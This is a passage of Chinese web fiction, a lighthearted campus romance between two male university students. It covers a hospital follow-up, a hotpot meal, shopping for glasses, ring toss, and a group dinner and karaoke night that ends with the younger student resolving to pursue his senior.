“哦,你可能不知道,”郝昕一边刷手机放松大脑一边认真科普,“有个cp榜,咱们学校有对同性情侣,因为颜值恩爱度稳定性等原因常年镇楼,叫韩一和张皓程。”
“我知道他们。”
“你知道啊?那你刚刚问的什么什么意思?”
“你说虽然你是站浩瀚的。”
“韩一跟张皓程两个人的名字组的cp名,‘一程’和‘浩瀚’两个。”
柏安还是没懂:“为什么要弄两个?”
郝昕眼睛都大了一圈,压低了声音问:“cp,你真gay假gay啊?”
“啊?”
“我天,一个人名字里取个字,名在前边的是攻后边的是受,攻和受1和0你总知道吧?站‘一程’的就是觉得韩一是……”
柏安耳朵尖都快红透了:“知道了知道了不用说了。”
郝昕目瞪口呆,到底是哪儿出来的纯情小弯男,就这点道行,还想搞万花丛中单三年的白仲钺?
白仲钺知道柏安能自己正常上课了,这周末没去柏安宿舍。又一个周六的时候,白仲钺提醒柏安去复查,一个没问需不需要自己陪,一个没说不用对方陪,就这么一起去医务室还了拐杖又一起去了医院。
柏安走路已经看不出什么了,自己也觉得恢复好了,不过走路的时候白仲钺一直落了柏安一肩的距离,在医院上楼梯抬了只胳膊在柏安身后虚环着,没碰着人,但如果有个万一也不会让他摔到。
“果然是年轻恢复快,”医生举着片子看完乐呵呵地对柏安说,“骨头长得很好,什么事都没有,不过平时还是得多注意啊,伤过的地方容易再伤,二次伤不容易好。”
“好的,我一定注意,谢谢医生。”
从医院出来快中午了,天很好,柏安眯起眼睛仰脸让阳光正落在脸上,小步跳着下完最后几层台阶。
“慢点儿,刚养好。”
“哦,”柏安立刻停了,眨眨眼,笑里带了点认错的味道,“一下没忍住。”
白仲钺在他肩上扶了一下,示意他继续走:“晚上大家一起吃个饭?”
“好呀,早该谢谢他们了,去哪儿吃?在学校附近的饭店可以吗?”
“我安排,你不如想想现在想吃什么,想好我们去吃。”
柏安走了几步,忽然说:“晚饭我付钱,学长你不许提前付。”
“忘告诉你了,赔偿金在我这里,晚上用这个付,一会儿这顿你请。”
“赔偿金?多少钱?”
白仲钺发了几条消息:“一千多,结完账剩下的给你转过去。”
“不用不用,”柏安跟着白仲钺的速度调整自己的速度,等白仲钺收起手机才问,“真的有赔偿金吗?”
白仲钺笑了一声:“我骗你干什么,怎么,还不信我,要不然我找老师要证明来你核对下?”
“没有不是不用,没有不信,不用核对的,我就是问一下,没有别的意思,真的。”
“嗯,”白仲钺嘴角扬起来的弧度更大了点,“一会儿吃什么?”<
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“学长你想吃什么?”
“你请客,我蹭饭,你说的算。”
柏安想了想,又问:“那你有什么不爱吃的吗?”
“不是甜的就行。”
“学长不吃甜吗?”
“平时还好,正餐不喜欢。”
不是甜的这个要求很低,但柏安一下也不知道该吃点什么,直到两个人顺着路走了一段,柏安看见了一家火锅店。
火锅总是没错的!
点喜欢的菜品调喜欢的蘸酱就好。
“学长,你想吃火锅吗?”
白仲钺也看见了:“行,吃火锅吧。”
路上没多少人,店里居然满座。服务生给两个人两张菜单和一张候餐卡,引着两个人到休息区稍候,告诉他们饮品零食自取,就餐时根据候餐时间长短会有相应的菜品赠送。
柏安在服务生带他们向另一边走的时候凑近白仲钺小声说:“可能要等一会儿,我们等等还是换一家?”
明明是遇见满座情况再正常不过的反应,在柏安这儿就像说小坏话一样,白仲钺低下头也跟着小声说:“不着急,等等吧。”
柏安点头答应,跟着服务生往前走,白仲钺在后边看着他头顶的发旋没忍住弯了弯嘴角。
休息区这边空间很大,靠窗有一排小桌和凳子,还有一块小孩的游乐区,几个小孩在里边搭积木玩塑料球。
柏安指了指那边的牌子示意白仲钺看:“这家店老板真的很有想法,充值火锅店的卡小孩才可以免费在这儿玩,根据充值金额送次数,而且起充金额才200,只在这里吃一次也不亏,大部分家长应该会一次多充点,还不会觉得是被迫消费了。”
说完转头,柏安才发现白仲钺正看他。
有点说不分明的意味。
柏安一下想到白仲钺是学什么的,顿时觉得班门弄斧:“那个,我就是……”
“小心!”
有个穿轮滑鞋的小女孩直直朝柏安撞过来,白仲钺下意识揽着人往旁边闪开,没想到那个小女孩没溜过去,反而在经过的时候一屁股摔在了地上,轮滑鞋眼看直冲了柏安右腿来。
听见柏安闷哼了声,白仲钺立时变了脸色,扶柏安坐下紧接着就半蹲下去:“怎么样?是不是疼?”
柏安整个人都颤了颤。
白仲钺!
正握着他脚踝!
白仲钺一手握着柏安的脚踝一手把裤脚推上去,小腿上泛着一片浅浅的青,察觉柏安动了一下皱起眉抬头说:“疼得很厉害?我背你去医院。”
“不、不用,不严重……”
“都青了,在医院的时候医生还说怕二次受伤,疼就去看看。”
柏安怀疑自己腿上的颜色不是青,是鼓噪着热的红。
“真的没事,不疼了,就只蹭了一下,没撞实,那个……”柏安干咽了下口水,口干舌燥,“那个是之前的青没消,我身上印子消得慢。”
白仲钺握着柏安的手终于松了力:“真没事?”
“真的没事,”柏安微微弓着身,抿抿嘴:“学长,能麻烦你帮我接杯水吗,我有点渴。”
白仲钺把他裤腿放下来:“好,你坐一会儿。”
柏安在看着白仲钺转身后一头砸在自己放在桌面的胳膊上,在心里把自己上上下下唾弃了个遍。
他竟然——
起反应了……
13.进阶
啊啊啊——柏安——你冷静一点——!!!
柏安深呼吸几次,搭在大腿上的手掐了自己一把。
“不好意思——”
柏安直起身,看见旁边过来了一个女人,身后跟着刚刚的小女孩。
“不好意思,”那个女人又说了一遍,“实在对不起,她刚学没多久,知道自己惹了祸吓跑了。”
小女孩已经换了鞋,手攥着裤缝有点怯怯地向柏安鞠了一躬:“哥哥对不起,我不应该撞到你,也不应该在这里玩轮滑。”
柏安对小女孩笑了笑:“没关系。”
“你被撞的地方严重吗?需要检查的话我们一定负全责。”
“没事,”柏安站起来活动了下腿给她们看,说,“已经不疼了。”
小女孩和家长又道歉几次才离开,白仲钺等人走后过来把水拧开放在柏安面前:“不疼也坐着吧,才好。”
“真的没事了,”柏安这么说着还是乖乖坐下,“前几天就一点都不疼了。”
白仲钺微微扬了下下颌,示意柏安喝水。
没再等多久,有服务生来引着两人去坐,赠送了一份鸡肉卷。
“中间是本店的特色鲜菌汤,不用来涮菜,汤沸即可盛出品尝,两位用餐愉快。”
“谢谢。”
服务生走后,柏安立刻向前倾了倾身子:“学长,中间这个竟然是单独煮的汤,不是汤底。”
柏安大概没意识到,自己在从服务生转向白仲钺的时候,神色从平淡到生动转变得有多明显。惊讶和新鲜都写在脸上,眼睛都比平时更大了点。
白仲钺笑笑:“我也第一次吃这家,一会儿尝尝看。”
鸳鸯锅环抱着鲜菌汤升腾起袅袅热气,周遭说话声片刻不歇又不吵闹,菜品、蘸料、口味、晚饭、学校……发现白仲钺不喜欢吃藕,也不喜欢太辣,好像不知不觉就更近了一点。
不需要刻意找话题,不需要担心冷场,吃和聊无比和谐地穿插在一起,从开始到午饭结束,好像什么都在聊,也好像没聊什么特别的。
按说该回去了。白仲钺陪他来检查完,他请白仲钺吃了饭,有来有往,然后两个人回学校各自做各自的事,到晚饭时间再一起到白仲钺订好的地方吃饭。
柏安和白仲钺并排走了一段:“学长,你下午有事吗?”
“没事,怎么了?”
“我之前的眼镜坏了,需要配个眼镜,你能不能帮我参谋一下?”
“好,”白仲钺点头,“去哪儿配?”
“就去商业街上随便找一家吧,我也不知道选哪家店,上一副是高中配的。”
“那一会儿对比看看,”白仲钺问柏安,“打个车?”
柏安下意识想答应,又在出口前换了心里想的:“刚吃饱,想走一会儿消消食。”
白仲钺说:“好,那走走。”
刚吃饱不想坐车是真的,想和白仲钺走走也是真的,可白仲钺答应了,柏安又担心他是在迁就自己。
“学长你想走吗?不然我们到前边打车。”
白仲钺笑了下:“有什么想不想的,都一样。”
柏安应了一声,并排慢慢走的时候忽然想,从认识白仲钺到现在,自己好像从来没有被拒绝过。
白仲钺实在是很好的人,你能从别人那里和他的言谈举止间清楚地知道他优秀卓越,明白自己与对方的差距,但从不会在相处时觉得局促或自惭形秽,因为白仲钺坦然又平常。
居高处,却不自视为高处。
“学长。”
“嗯?”
“你遇见过比你还好的人吗?”
听见白仲钺笑出声来柏安才发觉自己问得弱智又羞耻,简直被多巴胺冲坏了大脑。
柏安头低得像要在地上找条可以容人的缝,白仲钺手肘轻轻碰了柏安一下,说:“你抬头看看我脸红了没,脸皮再厚也经不住你这么夸。”
白仲钺脸红没红柏安没看出来,可柏安的耳廓快红透了,白仲钺看得清清楚楚。
-
商业街的眼镜店一只手数不完,进的第一家价格太贵,柏安听完价格之后就转头带白仲钺出来了,到第二家柏安先问了大概价格,觉得可以接受才开始看镜框。
白仲钺没记住柏安之前的眼镜具体什么样子,柏安手指在玻璃柜面划过一截,停在一副很常见的长方形黑框眼镜上方:“上一副和这个差不多,不过镜腿也是黑的。”
这副镜腿是亮橙色,白仲钺身为参谋,表示欣赏不来。
店员说去拿没来得及摆上的新款,柏安先随意试了几副。
“这个形状太扁了,你好像更适合上下距离稍宽点的,”柏安一副副戴给白仲钺看,白仲钺一副副评价,“这个太大,都把你的脸遮住一半了。”
“这个呢?”
一副全黑的粗边塑料框,接近正方形,和刚刚那副差不多大,柏安故意戴了玩的,没想到白仲钺看了没立刻说话。
柏安仰脸看他:“怎么了学长,很难看吗?”
好看。
但太乖了。
让人看了就想欺负欺负试试看到底会不会哭的那种乖。
店员端了一列眼镜过来放在玻璃柜上:“同学,这种框有点过时啦。”
“咳,”白仲钺侧头示意柏安,“看看这些吧。”
柏安选了一副银黑细金属边的,正前边框是很细的黑,侧边看是银色,戴上照了照镜子然后转过头,白仲钺说:“不错。”
又试了一副纯银金属边的,白仲钺也说“不错”。
之后是一副透明框,白仲钺说:“这副不如刚才。”
柏安摘了透明框眼镜,拿起那两副金属框的平面镜对白仲钺说:“那就这两副,学长,你戴一下我看看吧。”
“我们脸型不一样,”白仲钺这么说,但很干脆地把眼镜拿过来戴上给柏安看,“怎么样?”
“好看。”
“再看看这副。”
白仲钺换上银黑金属边的眼镜,没戴好,又伸手在鼻梁上方推了一下。
他中指伸直,其余手指自然微弯,手背与中指相连的筋挑起得特别明显。
“哪个?”
柏安说:“这个。”
白仲钺点点头,把眼镜摘了。
“同学,你再试一下度数,看看近处远处,如果合适就按照这个度数做镜片了。”
“好。”
柏安看了看街对面的店铺,转回来时正看到白仲钺在把手边的眼镜递出去。
摘下来前,柏安学着白仲钺那会儿的动作,用中指指尖推了推试度数的眼镜。
手好看的人,就连伸中指都好看啊……
眼镜配好之后工作人员建议柏安不要时戴时不戴,最好一直戴着,不然度数会涨得快。柏安答
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应着付钱离开,出门就把眼镜收进盒里提着了。
白仲钺问他:“不戴吗?”
“平时不习惯戴。我高二配眼镜的时候店里的人就对我说要一直戴着,但我基本除了看黑板都不戴,到现在两年多了,刚刚验光只高了二十五度的五十度。我有同学一直戴眼镜高三一年就涨一二百度的。”
白仲钺没戴过眼镜,不太了解:“我还以为眼镜店里的人会比较懂。”
“其实他们说得也不一定就不对,都那么说,可能确实有道理吧,只不过在我身上不适用,也不能用个别情况断定他们不懂这个。”
“嗯,知道自己怎么合适就行。”
“学长,玩套圈吗?”
“嗯?”
“那儿!”
十元二十个圈,套中什么带走什么。
“给,学长,一人十个。你想要什么?”
白仲钺接过去:“经常玩?”
柏安说:“没有,第一次。”
白仲钺笑了一下,柏安问他要什么问得那么理所当然的:“我还以为你百发百中,要什么就能套中什么。”
“试试嘛,说不定就中了呢。”
地上摆了四五十样东西,前边小后边大,白仲钺挨着看过去,最后指着第二排的一个木质笔筒,说:“那个笔筒吧,能用。”
柏安想也不想地点头:“好。”
“你要什么?”
柏安正比量着要怎么扔圈,停下动作转头问他:“学长百发百中吗?”
“没有,不过十发一中没问题。”
“那……”东西很多,但真的套回去有用的没多少,“我要那个小猪存钱罐,后边纯白的那个。”
白仲钺盯准了:“来?”
“来!”
白仲钺前边两个扔得有点随意,一个远了一个近了。柏安前边也都没套中,但扔得很认真,一个没套中就再扔一个,每个圈都冲着那个笔筒去。
边上有人说:“干嘛硬要套笔筒啊,浪费这么多圈了。”
柏安没停,还是在扔。
“中了!”
柏安跳起来拍白仲钺的肩指着让他看:“学长中了!”
白仲钺被柏安这份扑面而来的雀跃感染到,笑着摸了一下柏安的后脑勺:“厉害啊!”
柏安脸上大幅的笑还没减,整个人都震了一下。
地上以笔筒为中心,方圆半米,散了整整八个圈。
老板把笔筒装进袋子里放到一边,白仲钺的视线从地上散落的圈转到装着笔筒的塑料袋最后转向柏安:“看我给你套存钱罐。”
紧接着就中了。
白仲钺掂着手里的七个圈,问柏安:“还想要什么?”
柏安指了一个杯子,这次用了三个圈。
“这么厉害,那套个远的,”柏安往后边指,“那个充电宝。”
结果都扔完也没中。
柏安把手里的两个递向白仲钺:“学长,给你扔吧,说不定能中,我扔肯定都白费了。”
白仲钺没接:“随便扔,万一呢。”
柏安扔了一个,果然没中:“我认准一个用很多圈一直扔才可能会中,随便扔肯定不行的。”
白仲钺看向一个戴黑框眼镜的毛绒小棕熊,扶着柏安让他转过身去背对,然后握住柏安的小臂向后一甩。
“有时候,要相信自己的运气。”
14.打赌
“哟,哪儿来的小熊,”张皓程捏着耳朵把大红塑料袋里约摸三十厘米的玩偶熊拽出来,“还戴眼镜呢,这么精致。”
韩一碰了张皓程一下:“赶紧放回去。”
“我玩玩怎么了,”张皓程把熊往半空一扔又接住,“老白,送小学妹的啊?”
白仲钺正和别人说着话,听见声音回头说了一句:“什么学妹,套圈套的。”
“真有闲情逸致,既然不是给小学妹的那我就截胡了。”
“行了,”韩一把被张皓程绕着转圈折腾的熊拿过去,“你再不放回去柏安该哭了。”
柏安眼巴巴盯了好一会儿,不好意思说话,又怕那个小熊摔了,听见张皓程说想要脑子都滞了一下,不知道怎么办才好。
人家帮过自己的忙,一个小玩具都不舍得给太说不过去了,可那是白仲钺套的,准确来说,是白仲钺握着自己的胳膊一起套的。
“柏安哭……”张皓程反应过来,看向柏安,“这是你的?真不好意思,我看是老白放这儿的还以为是他的东西。”
“没事没事,没关系的。”
柏安刚说完,进门半分钟就被拖着说话的白仲钺过来了:“怎么了?”
“他以为这熊是你的来着,没想到是柏安的。”
“嗯,”白仲钺把韩一递过来的玩偶熊放回沙发上的塑料袋里,顺手把袋口系上了,“商业街最南边有个套圈的摊,好像是新开的,有空你们可以过去玩玩。”
祁延撤了把椅子,对他们几个喊:“你们几个站那里干嘛呢,都开始上菜了!”
“给大家介绍一下,”白仲钺轻推着柏安后背到桌边,“这是柏安,大一,数字媒体专业的。”
“知道知道。”
“一会儿进群啊。”
“小学弟嘛,欢迎欢迎。”
“谁还不知道了,”祁延边走近边说,“能介绍点新鲜的吗?”
白仲钺对柏安说:“这是祁延。”
祁延立刻接话:“祁连山的祁不是整整齐齐的齐。”
柏安立刻笑着冲祁延打招呼:“祁学长好。”
“小学弟好,以后跟着哥哥们玩,别指望老白,他不行。”
白仲钺懒得和他斗嘴,指了他一下然后接着给柏安介绍。
“这是姜宗川。”
“姜学长好。”
“赵煜。”
“赵学长好。”
“这是韩一,张皓程。”
“韩学长好,张学长好。”
“祝骁。”
“祝学长好。”
“……”
祁延坐下喝了口水,看着这一个介绍一个叫人,不知道怎么的品出来了那么几丝小女婿头一次上门见媳妇娘家人的味道。
不对。
怎么也得是小媳妇上门见婆家人。
“老白,今天这顿请的,出血了啊。”
白仲钺脸不红气不喘,对答如流:“之前打架那伙人赔给柏安的医药损失费,柏安请的。”
“哎,那多不合适,柏安你腿好了吗?赔了钱是给你看病的,请什么客啊。”
“就是,赚钱不容易,真要谢等打球一人买瓶饮料就行。”
“对啊,心意到了就行,你兼职那么累有钱省着点花,这儿一顿饭少不了上千吧,一个月生活费打水漂了。”
“没事没事,”柏安向前探了探身子,“医药费之前兼职摊位的老板转给我了,腿已经好了,今天刚刚复查过。而且那天真的多亏学长们帮忙,不然不知道会怎么样,请学长们吃饭是应该的,等学长们打球的时候只要有时间我一定去送饮料。”
张皓程一下笑出声来:“他们说送饮料就这么一说,怎么这么可……不是,怎么这么认真。”
韩一挑挑眉,张皓程那词说到半截,可不影响他听明白。
“行了行了,”祁延把酒往转盘上匀开摆,“来都来了菜又不能退,吃吧,别辜负人小学弟一番心意。哎,我们这伙人都喝啤的,柏安你喝什么,要不再叫点红酒或者饮料?”
“不用的,我和大家一样。”
“得嘞。”
祝骁边倒酒边说:“菜不能退钱能AA啊,一人一百,不够的让学弟出,也算心意到了。”
“行啊,咱们平摊没多少,合一起可多了。”
“不用不用,真的不用,这是赔偿的钱,也不是我兼职赚的,真的不用分摊,”柏安有点着急,在桌子下边伸手拽住白仲钺的衣摆扯了扯,“学长……”
白仲钺接收求助信号:“我们A了柏安心里也过意不去,今天这顿让他请吧,以后多照顾点就是了。”
先都满上碰了一杯才动筷,柏安左边是白仲钺,右边是韩一,韩一右边是张皓程,白仲钺左边是赵煜、姜宗川、祁延,再后边几个柏安没记住名字。
“学长,这个转盘是自动的呀?”
“嗯,”白仲钺往柏安这边倾了点身子,“电动的,桌子下边有开关。”
柏安点点头:“我开始以为有人转,还在想怎么一直这么匀速。”
白仲钺笑了笑:“这样人多方便点,免得打架。”
“啊?”柏安出声才反应过来白仲钺在逗他,刚想回就被点了名。
“柏安,今年夏天这么晒,我看大一的都被晒成炭了,你怎么这么白,晒不黑体质啊?”
“我没军训。”
柏安刚说完一桌人齐刷刷抬头看过,柏安在一众注目里眨眨眼:“那个,我紫外线过敏,没办法军训,开学之前去医院开了证明,就没有参加。”
“我靠!这么好使,早知道我找人开个过敏证明了,老子当年差点没被军训那教官弄死,样儿的就看我不顺眼。”
“教官估计巴不得你不军训,也不知道倒了多大霉碰上你这么个永远分不清左右转的傻子。”
“你闭嘴吧!”
“柏安,你紫外线过敏能晒太阳吗?”姜宗川问,“过敏的时候会怎么样?”
“能晒太阳,只要不是长时间在毒日头下就可以,春秋冬都没事,夏天白天我就尽量少出门。过敏的时候会起成片的疙瘩,很痒,一抓就会红很久,严重的时候会脱皮,肿、热。”
姜宗川点点头,赵煜问他:“怎么了?问这个干什么?”
“我弟弟夏天的时候脸上和脖子脱皮起疙瘩,到现在都没好利索,反反复复的,我妈说去医院看了是过敏性皮炎,也不知道具体怎么引起的。”
“学长,你弟弟查过敏原了吗?”柏安问。
姜宗川说:“查是查了,但查出来一堆,里面也有紫外线,太多了,不知道到底是因为什么。”
柏安点点头:“那就查出来的都尽量避开,然后慢慢来,皮肤问题治好很慢的,我最开始过敏的时候打针不管用,后来一边抹药膏又喝了一个多月的中药才见好。”
“你用的什么药膏?
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中药是在哪配的,还能问到药方吗?”
“中药是我妈打听到有个镇祖孙俩精通中医,带我去配的,好像是叫秀溪……”柏安边想边说,语速有点慢,“药膏也是在那里开的,再具体就记不清楚了,只记得地方挺远的,晚上我给我妈打电话,让她看看还能不能找到名片。”
姜宗川一字不漏地听着:“好,不怕远,管用就行。实在是拖了太久不见好,就麻烦你和阿姨了。”
“没事没事,问到结果我第一时间告诉你。”
两个人聊完,祝骁在那边举着根骨头说:“你对你弟也太好了,我有个跟弟弟似的妹妹,天天打架,我只要在家超过二十四小时就忍不住想把她扔垃圾桶锁起来上面再压一块砖。”
姜宗川笑了笑:“这是没事的时候,你妹妹如果遇见什么事,你肯定和我一样急。”
“是这么个道理,”祝骁把骨头放一边用纸巾擦擦手,“你和你弟也天天打?”
“没有,他挺乖的。”
“我就不该问!这么一说我下次回家又想扛垃圾桶了!”
一伙人凑在一起吃饭喝酒,天南海北的话题一个一个地往外跑,韩一又拆了一箱啤酒,开盖的时候看见张皓程出去了,自己把酒放上桌也出去了。
张皓程酒量一般,喝了不少,倒没醉,但明显上脸了。
“你也来放水啊?”
韩一看他不晃不傻乐的,知道人还清醒,就在一边没过去扶:“我来看看你会不会掉厕所里。”
“早着呢,起码再三瓶。”
“厉害,走吧。”
张皓程没动:“打赌吗?”
“又打什么赌?”
“我赌柏安喜欢老白,老规矩,输的人答应赢的人一件事。”
韩一笑了声:“打这种一眼就知道你赢的赌,我还没醉呢。”
“那赌别的,”张皓程想了想,“赌小学弟能不能搞定老白。”
韩一还是不同意:“水滴石穿,小学弟还这么可爱,磨个一年也磨下来了。”
“说谁可爱呢?”
“我说的?”
“哎,”张皓程把洗手沾的水往韩一脸上甩,“我说的我说的,我错了,小学弟谁啊,哪有你可爱,你最可爱,宇宙无敌可爱。”
张皓程说别人可爱韩一不舒服,但说他可爱他也难受。韩一被这一堆可爱砸得够呛,赶紧岔了话题:“还赌吗?”
“赌,就——”张皓程伸出两根手指,“两个月,我赌两个月之内柏安肯定能把老白收入囊中。”
韩一高中的时候差不多是个生命里只有学习的书呆子,张皓程当年追韩一都没超过一个月。现在大学环境松课程松,白仲钺还能陪柏安做这做那,天时地利人和,柏安总不能两个月都追不到人吧?
“好,赌这个,”韩一没上厕所也洗了洗手,“做好输的准备,老白不是我,他可不知道自己喜不喜欢男生,柏安也不是你,没你那么能缠有花样。”
“啊——那半年,赌半年。”
“说好就不改了,能不能有点原则。”
“小气的你,两个月就两个月......”
两个人说话声远了,隔间里坐在马桶上的祁延无语问苍天。
白仲钺不知道自己喜不喜欢男生,韩一怎么知道的?
柏安喜欢白仲钺?怎么就能一眼看出来的?
这些gay们是有什么鉴基雷达吗?!!
15.酒
祁延先前只觉得白仲钺不对劲,听见韩一和张皓程那么笃定地说柏安喜欢白仲钺之后,他看着柏安也不对劲了。
两个都不对劲的人凑在一起,对视了像眉目传情,说个话像奸情昭彰,没交流看起来都像暗通款曲暗度陈仓。
祁延瘫在椅子上,深深感觉自己跟不上他们的节奏。
“钱儿,才多少就不行了,不是你风格啊?”祝骁把手里的纸巾揉成球朝祁延扔过去,“真撂了?”
祁延还是一动不动盯着天花板:“我就是忽然发现这个世界很玄幻。”
祝骁点点头:“真撂了。”
柏安刚进群张皓程就给他发了好友验证:“小学弟,赶紧通过一下。”
“哦,好的,”柏安一边点同意一边念,“十一。”
“什么十一,”张皓程纠正,“那是一一,比1多一个1。”
张皓程的昵称是【11】,柏安想起来之前看见韩一的昵称是【1】,忽然就有点脸热。
“走了走了,转战,饭是学弟请的唱歌得老白请了吧!”
“我请,愿意通宵都行。”
一伙人浩浩荡荡的,从餐厅出来又去KTV要了豪华包厢。
“别叫酒了吧,”祁延世界观重铸完毕,又生龙活虎了,“我要几个果盘,再弄点零食饮料矿泉水?”
里边有人喊了句:“多少要几瓶,不然等会儿怎么玩啊?”
“对,把这茬忘了。”祁延自言自语着在点单屏幕上又加了箱啤酒。
一开始没人唱歌,更像找了个地方玩会儿。都在默认播放的热歌里七倒八歪。在沙发上歇了十分钟,张皓程先起来了:“谁玩骰子?”
凑了六个人玩,柏安坐得近了点儿观战,白仲钺在原来位置没动。一直到几个人玩过几轮,输的人唱了几首五花八门的特定歌,到了最俗套又常玩的全员参与的真心话大冒险环节,白仲钺才也进了圈。
他酒量算不错,不过一喝酒就不爱动,需要做什么照常做,但能不动的时候他连手指都不想抬。
这些人和白仲钺都熟了,知道他一喝酒就不愿动的毛病,没怎么闹他,只当他凑数。
火力主要集中给了柏安。
都喝了酒,放得开,一个个问题问得柏安面红耳赤说不出话,大冒险也做不来,只能选喝酒。本来吃饭的时候数他喝得最少,这会儿全补上了。
也不知道是不是柏安的点背,刚喝完一杯再一轮又是他。
白仲钺伸手摸了卡片:“我抽一把。”
柏安立刻转头看白仲钺,眼神要多可怜巴巴要多可怜巴巴,白仲钺笑了下:“不欺负你,真心话还是大冒险?”
“真心话吧。”
“嗯,第一次……”白仲钺话音一顿,把随手抽的卡又插了回去,“第一次喝酒是什么时候?”
“你看错了吧老白,”祁延把白仲钺手里的一摞卡片拿过去,但找不出白仲钺刚刚抽的是哪张卡,“我专门拿的劲爆组,怎么会有这么没意思的问题?”
柏安长长舒了口气,说:“今天。”
几个声音齐刷刷响起:“今天?”
柏安眨眨眼:“对。”
“完了,带坏小学弟了。”
“都怨你啊老白。”
“对,都怨你,怎么能让学弟喝酒呢!”
“罪孽深重啊!”
白仲钺没管此起彼伏的话音,问柏安:“第一次就喝这么多,难受吗?”
“不难受,”柏安摇摇头,然后又贴近白仲钺小声说,“但是有点难喝。”
白仲钺把他杯子撤走,给换了瓶果汁:“难喝就不喝了。”
“最后三轮,不抽卡,转啤酒瓶,底冲的人问瓶口冲的人,随便来啊,”祝骁把一个空酒瓶在桌面一转,瓶底刚好对着自己,“这不是我故意的啊,来,对面的朋友,你最近的人内裤颜色!五秒说不出来脚盘头!”
赵煜根本没给别人反应的时间,伸手就把姜宗川裤子扯下去一截:“黑的!”
“我靠!”姜宗川一只手提裤子一只手拿起爆米花要往赵煜头上扣,“你是胆肥了!”
“今天晚上一把都没轮着老白,”张皓程把瓶子拿过去,“我转,看我转个老白给你们玩。”
瓶子转了几圈慢下来的时候竟然真的冲着白仲钺去了,只不过最后停的时候瓶口略偏一点,对准了柏安。
柏安都要怀疑自己是不是和这个游戏八字不合了。
瓶底对着的是韩一。
韩一没为难人,想了个简单的:“谈过恋爱吗?”
没想到,挺简单的一个问题,柏安却支支吾吾说不出一个答案来:“我……我要不还是喝酒吧。”
这个问题就两个答案,谈过,没谈过。柏安这个样子不像没谈过,但是又不直接说谈过,给人的感觉就像有什么不愿意说出口的感情史。
张皓程把桌上一杯酒推过去,柏安接过来喝的时候悄悄看了看白仲钺,白仲钺不知道在想什么,没拦他。
再一轮到了祁延,让他说件糗事,祁延立刻开始卖队友:“我的没劲,给你们说件老白的,高中那时候啊,高一,好像是从下学期开始吧,一直到高二下学期,老白被叫了整整一年的渣男。后来还有没有叫我不知道啊,我转学了,老白自己肯定不说。”
一片起哄声。
都知道白仲钺万年单身清心寡欲,但毕竟条件摆在那儿,看着就不像没谈过的人。
祁延站起来两手平举下压示意大家安静:“我给你们还原一下源头事件。”
找了个空玻璃杯,祁延敲敲杯子:“这不是空的,这是满满的饮料,绿的,猕猴桃汁知道吗!还是浓稠款!”
“哈哈可以!绿的!浓稠款!”
祁延掐着嗓子一只手叉腰一只手握住杯子,面向白仲钺扭着腰一跺脚:“白仲钺!”
赵煜嘴里一口水直接喷了。
“白仲钺!”祁延细声细气地喊,“你就是一个!大——渣——男——!”
一
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圈人笑得东倒西歪,祁延还没完,他把手里空杯子朝白仲钺的脸比量着一泼:“嘤嘤嘤,渣男!”
杯底还是有点残留的酒,白仲钺在祁延“泼”过来时一抬手,把那点儿液体挡在手背上,几滴顺着白仲钺的手背斜斜滑进袖口,不见了。
祁延指着白仲钺咋呼:“看见了吗?都被泼出经验了,这挡的姿势多熟练!”
又闹了好一会儿才正儿八经开始唱歌,柏安中间被塞话筒唱了一首,唱完白仲钺终于理他了:“唱歌很好听。”
柏安笑笑:“学长不唱吗?”
白仲钺说:“不想唱。”
祁延这会儿正挨着柏安,听见他们对话提高音量对柏安说:“你这学长喝了酒就这样,能不动就不动,你知道树懒吗?他看着跟个正常人一样,精神上就是一大型树懒。”
柏安点点头,其实他也不想动,有点困了。
好想听白仲钺唱歌啊……
猛地一点头,柏安清醒一点,不一会儿眼皮又变得沉甸甸的。
“困就睡一会儿。”
“嗯?”柏安支起眼皮看向白仲钺,反应一会儿,又看看周围——沙发都坐满了。
紧接着,柏安看见白仲钺倚在沙发上动了动肩膀。
诱惑力太大了。
简直像在白仲钺的肩膀和柏安的头上安了磁场强大的正负极。
“谢谢……”
学长……
“柏安睡着了?”
“嗯,”白仲钺脖子被柏安的发梢蹭得有点痒,不过没动,“你们真通宵的话我一会儿把他送回去。”
“通什么宵啊,没意思,还不晚,再唱一小时一起回去。”
“行。”
一晃一晃的,柏安睁开眼睛又闭上,又梦见白仲钺背他了。
不对——
“学长……”
“醒了?”白仲钺仍旧背着他,没有放下的意思,“难受吗?”
柏安摇摇头,软顺的头发在白仲钺脖子和耳垂来回蹭,蹭得白仲钺又舒服又痒。
白仲钺落后一截,和前边几个人有段距离。柏安想起祁延说白仲钺喝过酒能不动就不动,立刻用力眨眼让自己清醒点:“学长,我自己走吧。”
“缓一缓,等会儿能走的话自己上楼。”
“嗯,好的。”
有一会儿没说话,柏安又开始犯困了。
酒后的困意来势汹汹,眼皮一沉就到了意识消失的边缘。
“高中谈的恋爱?”
“嗯……什……”柏安有点反应不过来,大脑好像迟钝了,听力也迟钝了。
“女朋友?”
“什么……”
“男生?”
“嗯……?”
白仲钺又重复一遍问清楚:“前任,是男生?”
“……”柏安过了一小会儿才回答,声音不大但很用力地把字眼咬清楚:“不是……”
一直到把柏安送回宿舍,白仲钺都没再说话。
16.追人
柏安在心里喊着要追白仲钺,可他其实不会追人。
他知道的常规办法好像对白仲钺都不适用。
以至于自从上次一起吃过饭,到现在十多天了,两个人除了在路上偶然遇见过两次外半点接触都没有,更不要说进展了。
而且柏安现在开始做家教了,连闲余的时间都不多。
最重要的是,柏安感觉白仲钺对自己好像比起之前有了点距离感。很微妙,他给白仲钺发消息两个人照旧会聊一会儿,路上遇见的时候白仲钺也有主动打招呼问家教的情况,但那点不一样是确确实实存在的。
可能……白仲钺察觉自己喜欢他了?
柏安那天喝了酒,不太清醒,但发生过的事和说过的话基本还记得。
他记得白仲钺背他回来的路上问他前任是不是男生。
当时脑细胞不够用,怕白仲钺发现所以只回答了一半,说不是前任,但白仲钺那么聪明,肯定猜到了。
何况好好的白仲钺为什么会问到所谓的前任?为什么会问是不是男生?
除非白仲钺怀疑自己喜欢他,但不确定也不好直接问,所以换了一种说法来落实猜测,而自己当时回答得不圆满,白仲钺猜到自己喜欢男生,喜欢他。
所以开始保持距离了。
柏安反复琢磨了很长时间,只有这个原因的可能性和合理性最大。
别人都已经这么暗示了,柏安应该识趣,老老实实收回自己不该有的心思,把持好距离,好好当一个恪守本分的学弟。
柏安从来都是很识趣的人,懂变通,不爱南墙和棺材,得不到的就不要,发生过的就接受,看见死胡同就转头。
他愿意当白仲钺的学弟。
但他不愿意只当学弟,他还想当男朋友啊啊啊啊啊啊啊啊啊啊————
